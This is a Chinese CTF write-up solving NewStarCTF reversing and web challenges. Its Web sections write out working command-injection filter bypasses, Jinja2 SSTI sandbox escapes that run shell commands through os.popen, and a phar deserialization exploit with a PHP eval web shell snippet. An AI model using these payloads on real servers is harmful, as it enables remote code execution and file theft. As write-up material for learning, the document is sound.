(174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客(174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客

(174条消息) GMP库使用方法_play maker的博客-CSDN博客_gmp库

# ida 中发现的一些信息
GNU MP: Cannot reallocate memory (old_size=%lu new_size=%lu) mpz(…)
mpz()返回一个设置为0的新mpz对象。
mpz(n) 从一个数值n返回一个新的mpz对象,如果n不是一个整数,它将被截断为一个整数。
mpz(s[, base=0]) 从一个由指定基数的数字组成的字符串s返回一个新的mpz对象。如果base=0,那么二进制、八进制或十六进制的Python字符串会被识别为前导0b、0o或0x字符。否则,字符串将被假定为十进制。基数的范围在2和62之间。 mpz_random(…)
mpz_random(random_state, n) 返回一个在0和n-1之间的均匀分布的随机整数。参数random_state必须先由random_state()创建。 mpz_rrandomb(…)
mpz_rrandomb(random_state, b)返回一个介于0和2b - 1之间的随机整数,在其二进制表示中具有长序列的0和1。参数random_state必须先由random_state()创建。
mpz_urandomb(…)
mpz_urandomb(random_state, b)返回一个在0和2b - 1之间的均匀分布的随机整数,参数random_state必须先由random_state()创建。

如上一波搜索,可以明确知道mpz 是个数学库,那么分析程序流程的时候,黑盒测试就有了侧重点。

0x02 程序分析

先ida简单分析一下

可以得到程序处理流程:

    先将输入字符对应的hex,转化为小端序[v12]
    v9=v12-114514
    v9=v9*191980
    v9=(v9//(2**20)<<20)+0xf6760

然后将v9与密文比较,也就是v13。

【注意:这里后面的三个表达式关系,需要动态调试。类似黑盒测试的方式得到,同时题目是mpz,可联想到gmp 数学函数库,会有一些帮助】

0x03 解密流程

下面是黑盒测试的用例【用来分析函数功能】

# 下面是,动态调试,分析函数功能用到的黑盒测试

# 12345678ABCDEFGHIJKLMNOPQRSTUVWXYZ   这是test 用例

enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231'

enc_=''
for i in range(len(enc)-2,-2,-2):
enc_+=enc[i:i+2]
num=int(enc_,16)
print(hex(num)) e='60677FE420496C8FB2D5F81B3F6285A8CBEE1135587B9EC1E407CB7E8AADD0F3163A1D90' e_=''
for i in range(len(e)-2,-2,-2):
e_+=e[i:i+2]
num1=int(e_,16)
print(hex(num1)) print(num1//num) enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231' enc_=''
for i in range(len(enc)-2,-2,-2):
enc_+=enc[i:i+2]
num2=int(enc_,16)
print(hex(num2)) print(hex((num1//(2**20)<<20)+0xf6760))

分析清楚函数功能,开始解密:

# encoding=utf-8

enc='1853AA7A566DABCD46464646464646AA7F2C2D2D2D2D2D2D2D31C8AA8A5E738FE584092C01'  # ida dump出的密文,将其小端序

enc_=''
for i in range(len(enc)-2,-2,-2):
enc_+=enc[i:i+2] num=int(enc_,16)
# num=582872904048513552060243879638332414210812529746092910839742399777159917107350390592280 num=(num*(2**20)-0xf6760)>>20
num=num//191980
num+=114514 print(hex(num)) print(bytes.fromhex('666c61677b676d705f6c6c6c6c6c6c6c6c6c6c3131313131313131315f696e74217d')) # flag{gmp_llllllllll111111111_int!}

flag{gmp_llllllllll111111111_int!}

Web

So Baby RCE

0x01 绕过技巧
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}

(174条消息) CTFHub技能树笔记之RCE:命令注入、过滤cat、过滤空格_weixin_48799157的博客-CSDN博客_命令执行过滤空格

(174条消息) CTFWeb-命令执行漏洞过滤的绕过姿势_Tr0e的博客-CSDN博客_ctf 空格绕过

CTF中命令执行绕过方法 - FreeBuf网络安全行业门户

(174条消息) CTF下的命令执行_lemonl1的博客-CSDN博客_ctf 命令执行

CTF中的命令执行绕过方式 - 知乎 (zhihu.com)【比较全面】

参见上文:

# 一些绕过小技巧
1. cat
1.使用单引号绕过 127.0.0.1; c''at flag_2287214057241.php |base64
2.使用双引号绕过 127.0.0.1; c""at flag_2287214057241.php |base64
3.利用Shell 特殊变量绕过 127.0.0.1; ca$@t flag_2287214057241.php|base64 2.空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等 $IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 3.
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 4.>,+过滤
对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+ 5.控制环境变量绕过 $PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr' 6.过滤斜杠/绕过
使用${HOME:0:1}代替/
0x02 RCE

查询足够多资料后,开始RCE【通过cd .. 逐步跳转到 根目录】

/?cmd=ec$@ho${IFS}${PATH}

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

/?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0als${IFS}

bin
boot
dev
etc
ffffllllaaaaggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var /?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0ac$@at${IFS}ffff$@llllaaaaggggg flag{bcba8204-fad9-4328-9072-afeafd94d764}

flag{bcba8204-fad9-4328-9072-afeafd94d764}

BabySSTI_Two

0x01 测试黑名单

SSTI/沙盒逃逸详细总结-安全客 - 安全资讯平台 (anquanke.com)

细说Jinja2之SSTI&bypass - FreeBuf网络安全行业门户

?name={{1+1}}  # + 过滤

/?name={{"hj"}}   # ""  过滤

?name={{'~'}}     # ~ 过滤

/?name={{'j s'}}  # 空格过滤 单引号可以使用

?name={{'a.b'}}   # . 可以使用

?name={{'a[]b'}}  # [] 可以使用

?name={{'a()b'}}  # () 可以使用

?name={{'()__'}}  # __ 可以使用

?name={{'popen'}}  # popen 过滤

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

# popen、eval、system 过滤
?name={{lipsum[request.args.t1][request.args.t2][request.args.t3]('os').popen('ls').read()}}&t1=__globals__&t2=__builtins__&t3=__import__ # 绕过 popen 通过 base64 编码 不可行
['cG9wZW4='.decode('base64')] #popen
['ZXZhbA=='.decode('base64')] #eval
("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')) #__import__('os').popen('ls').read() ?name={{lipsum.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}} ?name={{joiner.__in''it__.__glob''als__.__bui''ltins__['__im''port__']('os').popen('ls').read()}} # 可执行
?name={{[]['__c''lass__']['__ba''se__']['__subcl''asses__']()}} # 利用脚本跑出利用函数位置
{{().__cl''ass__.__bas''es__[0].__su''bcl''asses__()[177].__in''it__.__glob''als__.__bu''iltins__['open']('ls').read()}} ?name={{[].__cla''ss__.__ba''se__.__subcla''sses__()[117].__in''it__.__glo''bals__['__built''ins__']['__imp''ort__']('os').__di''ct__['pop''en']('ls').read()}} /?name={{''['__cla''ss__']['__bas''es__'][0]['__subcl''asses__']()[117]['__in''it__'].__glo''bals__['nepop'[::-1]]('id').read()}}
0x02 绕过测试
# __ 黑名单绕过

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

# [] 绕过 getitem() 用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
# encoding=utf-8

str1 = 'popen'
res = ''
for i in str1:
res += "{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3]) for i in range(len(str1)):
print(str(hex(ord(str1[i]))),end=',') # \x70\x6f\x70\x65\x6e

popen 绕过失败

SSTI注入绕过(沙盒逃逸原理一样) - 冬泳怪鸽 - 博客园 (cnblogs.com)

?name={{lipsum.__glo''bals__.__bu''iltins__['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk='.decode('base64'))}}

失败,不知道什么原因

https://blog.csdn.net/weixin_54515836/article/details/113778233

# 发现
166 <class 'warnings.catch_warnings'> #调用commands进行命令执行
?name=
{{().__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}} ?name={{lipsum.__glo''bals__.__buil''tins__['__import__']('os').open('ereh_ni_galf/'[::-1],'r').read()}}
0x03 Rce success

尝试全hex 编码 ,数据构建脚本:

# encoding=utf-8

text = "{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}"
print(text.encode()) enc = "{{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}" i = 0
while i <= len(enc) - 1:
if enc[i] == "'":
print(enc[i], end='')
k = i + 1
while enc[k] != "'":
print('\\x' + str(hex(ord(enc[k])))[2:], end='')
k += 1
print(enc[k], end='')
i = k+1
continue
print(enc[i], end='')
i += 1
# 尝试全hex 编码

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
======> # 方便编码使用
?name={{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
======>
?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}} name={{''['__class__']['__base__']['__subclasses__']()[64]['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['read']()}}
====>
?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}} # 发现成功读取 app.py Welcome to NewStarCTF Again, Dear from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):
t = Template(" # 读取根目录
'ls${IFS}/'
Welcome to NewStarCTF Again, Dear app
bin
boot
dev
etc
flag_in_h3r3_52daad
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var # getflag
'c$@at${IFS}/fl$@ag_in_h3r3_52daad' ?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}} Welcome to NewStarCTF Again, Dear flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}

flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}\

UnserializeThree

hint

PHP反序列化漏洞系列第三题。当文件上传遇到反序列化,擦出爱(RCE)的火花
0x01 题目分析

可以上传图片,并会返回访问路径。

在index页面,发现class.php,访问得到:

<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
} file_exists($_GET['file']);

详谈CTF中常出现的PHP反序列化漏洞 - FreeBuf网络安全行业门户

Phar (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。而Phar文件中也存在反序列化的利用点:phar文件会以序列化的形式储存用户自定义的meta-data,在执行Phar文件时meta-data中用户自定义的元数据将被反序列化从而达到反序列化攻击的目的,这也扩展了PHP反序列化攻击的攻击面

这一利用出自2018年Blackhat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题.

该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
0x02 phar 反序列化漏洞利用

显然本题的考点就是 phar:// 反序列化漏洞了

浅析Phar反序列化 - FreeBuf网络安全行业门户

(174条消息) phar反序列化+两道CTF例题_Z3eyOnd的博客-CSDN博客_ctf phar反序列化

构建phar 文件(174条消息) disabled by the php.ini setting phar.readonly_weixin_34004750的博客-CSDN博客

PHP绕过 | Lazzaro (lazzzaro.github.io)

<?php

class Evil{

    public $cmd="\r"."system('ls');";
} $a = new Evil(); $phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering(); # $str="PHP_EOL";
$test1="\r"; $cmd=$test1."system('dir');";
// .urldecode("%0a"); eval('#'.$cmd);

生成phar 包后,改名上传,并获取路径。

Saved to: upload/0412c29576c708cf0155e8de242169b1.jpg

0x03 绕过验证

可以看到已经成功,phar 反序列化利用了。但是还需要绕过验证

 if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
// 在前面拼接了 # 注释符,同时 过滤换行 //PHP_EOL 可替代换行 但是php过滤了 // 由于php ? <> 等字符过滤
//php别名解析
//php3、php5、phtml能解析成php文件 //GIF89a?
<script language="ph%00p"> @eval($_REQUEST['pass']);
</script>

一番尝试后,发现回车"\r",与换行有相同作用,可以绕过,成功rce

public $cmd="\r"."system('ls');";

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var # 得到flag public $cmd="\r"."system('cat flag');"; flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

Week5

Re

拔丝溜肆 (easy)

0x01 程序分析

main_

是个base64 加密:

这里值得注意的是,每次编码的时候,都使用源base64表移位获得。

所以,需要动调获得每次的移位值。

key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18]

直接通过每轮移位值,进行变表解编码得到flag。

0x02 base 变表解编码
# encoding=utf-8

print("x" * 42)

# 变表base
import base64 change_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' str1 = 'CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V' key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18] for i in range(0, len(str1), 4):
tmp=list(table)
new_table=[0]*64
for k in range(len(tmp)):
new_table[k]=tmp[(key[i//4]+k)%64]
change_table=''.join(new_table)
print(str(base64.b64decode(str1[i:i+4].translate(str.maketrans(change_table, table))))[2:2+3], end='') # flag{12573882-1CF1-EB5E-C965-035B1F263C38}

flag{12573882-1CF1-EB5E-C965-035B1F263C38}

E4sy_Mix (hard)

0x01 smc 自修改

一般有两种方案解决:

    直接动调让程序自己运行恢复【题目有debug,动态调试需绕过】。

    idc 脚本,直接修改也能得到。

这里使用第一种,动态调试得到正确逻辑!【这种比较简单,同时可以得到一些运行数据,更容易求出flag】

修改逻辑,绕过即可。得到正常函数:

加密逻辑,很简单:

  for ( i = 0; i < result; ++i )
{
v3 = (v3 + 1) % 256; // 右移1
v5 = byte_404490[v3];
v4 = (v5 + v4) % 256;
byte_404490[v3] = byte_404490[v4];
byte_404490[v4] = v5;
*(_BYTE *)(i + a1) ^= byte_404490[(unsigned __int8)(v5 + byte_404490[v3])];
}
0x02 py解密
# encoding=utf-8

print("x" * 33)

byte_404490=\
[ 0x61, 0x07, 0xD5, 0x8A, 0x69, 0x78, 0x2D, 0x56, 0xD1, 0x7C,
0x1E, 0x0E, 0x0C, 0x0F, 0x64, 0x30, 0x14, 0xC5, 0x3C, 0xB0,
0x37, 0x41, 0x1C, 0x17, 0x6A, 0xB5, 0x4A, 0xB9, 0x3D, 0x4D,
0xF2, 0xB7, 0x38, 0xB8, 0x7B, 0x9F, 0x48, 0x7F, 0xE5, 0xD2,
0xA8, 0xEE, 0xB3, 0x2F, 0xC1, 0x5A, 0xCE, 0x0B, 0x2A, 0x94,
0x50, 0xCA, 0x71, 0x72, 0xA9, 0xE1, 0x67, 0xDE, 0x28, 0x76,
0x31, 0x09, 0x3E, 0xE2, 0x3F, 0xA7, 0x20, 0xFE, 0x26, 0x42,
0x7A, 0xD9, 0x4C, 0xD6, 0x63, 0x23, 0x34, 0xC3, 0x08, 0x92,
0xAB, 0x18, 0x91, 0x3B, 0xAD, 0x1A, 0x4E, 0xA5, 0xF0, 0x83,
0xB6, 0x05, 0x77, 0xC7, 0xC6, 0x8E, 0x90, 0x5D, 0x19, 0x6D,
0x33, 0x1B, 0xF8, 0x45, 0xAC, 0x9A, 0x96, 0xA6, 0x79, 0xC0,
0x00, 0x02, 0xDB, 0x53, 0x68, 0x6B, 0x10, 0x6F, 0x98, 0xDF,
0x84, 0x0A, 0x47, 0x40, 0x13, 0xF3, 0xAF, 0x12, 0xBA, 0x8B,
0xD7, 0xCB, 0x9B, 0xF6, 0xC8, 0x9C, 0xE0, 0x01, 0x5B, 0xE3,
0xA2, 0x06, 0x03, 0xDA, 0x2E, 0x75, 0xC2, 0x74, 0xDD, 0xFB,
0xFD, 0xEA, 0xA1, 0x81, 0xBB, 0x65, 0x25, 0x44, 0xD8, 0x24,
0x39, 0xBF, 0x57, 0x0D, 0xEC, 0x70, 0xFC, 0xBD, 0x59, 0x4B,
0x49, 0x86, 0xCD, 0xE7, 0x73, 0xA0, 0x8D, 0x1D, 0xDC, 0x5E,
0x97, 0x87, 0xC9, 0xCC, 0x7D, 0x7E, 0x80, 0x16, 0xBC, 0xD3,
0xEB, 0xF4, 0x58, 0x51, 0x43, 0xF9, 0xCF, 0xBE, 0xF1, 0x66,
0xD4, 0xF7, 0x04, 0x5F, 0x21, 0xED, 0x32, 0xAE, 0x15, 0x27,
0xEF, 0x2C, 0xE9, 0x36, 0xFA, 0x5C, 0x29, 0x93, 0x35, 0x95,
0xE8, 0xA3, 0x52, 0x6E, 0x8F, 0xB4, 0xE4, 0x9D, 0xAA, 0x62,
0x3A, 0xA4, 0xD0, 0x4F, 0x8C, 0x46, 0x22, 0xB2, 0xB1, 0x89,
0x55, 0x9E, 0xFF, 0x11, 0xC4, 0x2B, 0x1F, 0xE6, 0x6C, 0x85,
0x60, 0xF5, 0x99, 0x88, 0x82, 0x54] enc=[ 0xA1, 0xBF, 0xB6, 0x70, 0x63, 0x5B, 0x3B, 0xED, 0xF4, 0x91,
0x81, 0xA4, 0xBD, 0x3A, 0x53, 0x86, 0x5B, 0x8C, 0xDB, 0x41,
0x1B, 0x73, 0xE1, 0xD1, 0xF2, 0xB2, 0xDF, 0x6E, 0x16, 0x56,
0x22, 0x42, 0xFC] v3 = 0
v4 = 0
flag=[0]*len(enc)
for i in range(len(enc)):
v3 = (v3 + 1) % 256 # 右移1
v5 = byte_404490[v3]
v4 = (v5 + v4) % 256
byte_404490[v3] = byte_404490[v4]
byte_404490[v4] = v5
flag[i]= byte_404490[(v5 + byte_404490[v3])&0xff]^enc[i] for i in range(len(flag)):
print(chr(flag[i]),end='')

flag{RC4_and_SMC_is_interesting!}

最后附上idc python:

直接Shift + F2 运行脚本,优点是,也能得到调试获得的结果,且便捷;缺点是,运行的数据获取不到,需要自己求解】

import ida_bytes
for ea in range(0x402000,0x402000+53,1):
ida_bytes.patch_dword(ea,ida_bytes.get_original_dword(ea)^0x54)

Petals Level Up (easy)

0x01 程序分析

__asm { jmp     r15 }

# 发现上面内联 汇编指令,实现程序的跳转

处理方式就是动态调试【或者可以,自行计算出r15但显然比较麻烦】

0x02 程序动态调试跟进

这里对输入,有一次处理!

input 值在映射表中的位置,作为新值替代input:

映射表生成如下:

  for ( i = 0; i <= 255; ++i )
*((_BYTE *)v3 + i) = ~(i ^ a2);

可以看到将输入 进行 移位 xor 操作【但是这里后面存在 jmp r15,所以需要查看汇编指令又进行了那些操作】

汇编跳转如下:

又进行了两次 移位 xor 运算:

【上面,移位4时,xor 0x7a,标注错了】

同时末尾,又xor input[i+1]。这里动态调试获得!

下面是密文比较: md5 ,加密小写提交

如上分析:就可以得到下面的加密流程: # 最后一轮 xor input[0]

    *a1 = (*a1 << 7) | (*a1 >> 1);
*a1 ^= 0x71u;
*a1 = (*a1 << 6) | ((unsigned __int8)*a1 >> 2);
*a1 ^= 0x73u;
*a1 = (*a1 << 5) | (*a1 >> 3);
*a1 ^= 0x64u;
*a1 = (*a1 << 4) | ((unsigned __int8)*a1 >> 4);
*a1 ^= 0x7Au;
*a1 ^= *(a1+1)
0x03 解密py

先写出加密逻辑,进行测试:【与程序运行结果相同,说明分析正确】

# encoding=utf-8

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,
0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,
0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,
0xB4, 0xBA] def RoL(num,bit):
return ((num<<bit)|(num>>(8-bit)))&0xff # 生成映射表
table=[0]*256
len_=len(enc)
for i in range(256):
table[i]=(~(i^len_))&0xff print(hex(table.index(ord('x'))))
test='1234567890987654321112345678abcd' print(table)
flag=[0]*len(enc) for i in range(len(test)):
tmp=table.index(ord(test[i]))
tmp = RoL(tmp, 7)
tmp ^= 0x71
tmp = RoL(tmp, 6)
tmp ^= 0x73
tmp = RoL(tmp, 5)
tmp ^= 0x64
tmp = RoL(tmp, 4)
tmp^=0x7a if i != len(test)-1:
tmp^=table.index(ord(test[i+1]))
else:
tmp^=flag[0]
flag[i]=tmp
print(hex(tmp),end=',')

测试正确:写出解密逻辑,得到flag。

解密py:

# encoding=utf-8

import hashlib

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,
0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,
0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,
0xB4, 0xBA] def RoR(num,bit):
return ((num>>bit)|(num<<(8-bit)))&0xff # 生成映射表
table=[0]*256
len_=len(enc)
for i in range(256):
table[i]=(~(i^len_))&0xff flag=[0]*len(enc) flag[0]=enc[0]
for i in range(len(enc)-1,-1,-1):
if i == len(enc)-1:
tmp=flag[0]^enc[i]
else:
tmp=enc[i]^flag[i+1] tmp^=0x7a
tmp=RoR(tmp,4)
tmp^=0x64
tmp=RoR(tmp,5)
tmp^=0x73
tmp=RoR(tmp,6)
tmp^=0x71
tmp=RoR(tmp,7) flag[i]=tmp
print(tmp) print(flag)
for i in range(len(flag)): #bakabakaba#AtsukoKagari#aw1dyq2r
print(chr(table[flag[i]]),end='')
print()
print(hashlib.md5('bakabakaba#AtsukoKagari#aw1dyq2r'.encode()).hexdigest())

flag{d5658c0b4c44d4672d76b563a8505a66}

【这题或许可以,静态修改跳转逻辑,使其能够F5 反汇编,可能会容易很多,不然分析汇编代码,容易漏掉细节,耗时大】

有时间可以尝试一下。

Virtual Self (middle)

0x01 VM opcode 转换为 可理解语句

特征很明显,是VM 类型题目。程序的加密逻辑是固定的,但是由于将其加密过程转化为未知 opcode 进行翻译。所以直觉上,运行规律是不可理解的。

那么现在就需要,将其opcode 码,转化为可理解的 伪汇编代码!!!

首先 用 idcpython 将 opcode dump出来:【动态调试 过程中dump】

import idaapi

start_address=0x00007FFC2B201890
end_address=0x00007FFC2B2021E0+1
data_length= end_address-start_address data = idaapi.dbg_read_memory(start_address, data_length)
fp = open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'wb')
fp.write(data)
fp.close()

指令长度 为 4:

opcode[0]===>运算类型 如 mov sub add等

opcode[1]===>细分运算类型 如 mov 的不同用法类别

opcode[2]、opcode[3] 操作数

print 出可理解伪汇编:

# encoding=utf-8

import binascii
import hashlib with open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'rb') as f:
opcode = f.read() # opcode_=binascii.hexlify(opcode)
# print(opcode_) opcode = bytes(opcode) # 下面程序相当于将程序 vm 走了一遍。用python 代码
# opcode=[0]*((len(opcode_)//2))
# for i in range(0,len(opcode_),2):
# opcode[int(i//2)]=int(opcode_[i:i+2],16) print('x' * 29) i = 0
while opcode[i] != 0xff: if opcode[i] == 224: # mov
if opcode[i + 1] == 0:
print("mov reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
elif opcode[i + 1] == 1:
print("mov reg[", opcode[i + 2] - 208, "] ", "input[", opcode[i + 3], "]")
elif opcode[i + 1] == 2:
print("mov input[", opcode[i + 2], "] ", "reg[", opcode[i + 3] - 208, "]")
print()
elif opcode[i + 1] == 3:
print("mov reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
elif opcode[i] == 162: # sub
if opcode[i + 1] == 1:
print("sub reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
elif opcode[i + 1] == 0:
print("sub reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
elif opcode[i] == 160: # xor
if opcode[i + 1] == 1:
print("xor reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
elif opcode[i + 1] == 0:
print("xor reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
elif opcode[i] == 161: # add
if opcode[i + 1] == 1:
print("add reg[", opcode[i + 2] - 208, "] ", opcode[i + 3])
elif opcode[i + 1] == 0:
print("add reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
i += 4 print("end !!!")

得到 伪汇编代码!

0x02 翻译后的伪汇编代码分析
# 运行上面脚本 即可得到【数据比较多,这里就不展示了】

翻译后得到上面伪汇编代码,逐个解密得到flag!

0x03 py解密
# encoding=utf-8

input = [0x84, 0x1F, 0x3C, 0x7B, 0xB9, 0x2A, 0x6C, 0x63, 0xA4,
0x72, 0x1B, 0x08, 0x76, 0x5F, 0x96, 0x88, 0x86, 0x5F, 0x7B,
0x67, 0xCD, 0x86, 0x97, 0x66, 0x64, 0x99, 0xFC, 0x7D, 0x81] input[3] = (input[3] + 2) ^ 20 - 2
input[10] = input[10] ^ 97 ^ 3
input[17] = (input[17] ^ 3 + 2) ^ 1
input[22] = (input[22] ^ 230 ^ 1 - 2 + 252 + 2)
input[5] = (((((input[5] - 1) ^ 1 ^ 74 - 112) + 1 + 23) ^ 74) + 23)&0xff
input[0] = (((input[0] ^ 2 + 3) ^ 31 + 2) - 11 + 217) & 0xff
input[7] = ((input[7] + 6) ^ 2 + 1)
input[25] = ((input[25] + 4 - 2) ^ 1 - 128 + 78) & 0xff
input[23] = ((input[23] ^ 3 + 3 - 3) ^ 3 ^ 1 + 2)
input[14] = (input[14] - 228 - 1 + 249 + 249 + 1 + 3) & 0xff
input[19] = (input[19] + 1)
input[26] = (((input[26] ^ 3 + 9 - (58-79)) ^ 2 ^ 117)&0xff - 58) & 0xff
input[20] = (((input[20] - 4) ^ 1 - 4 - 4) ^ 2) & 0xff
input[2] = (input[2] + 24 + 3 - 244 - 2) & 0xff
input[18] = ((input[18] - 2 - 3) ^ 3 ^ 237 ^ 1 ^ 218)
input[4] = (((input[4] - 2 + 1) ^ (216 - 188) - 42 - 1) ^ 2) & 0xff
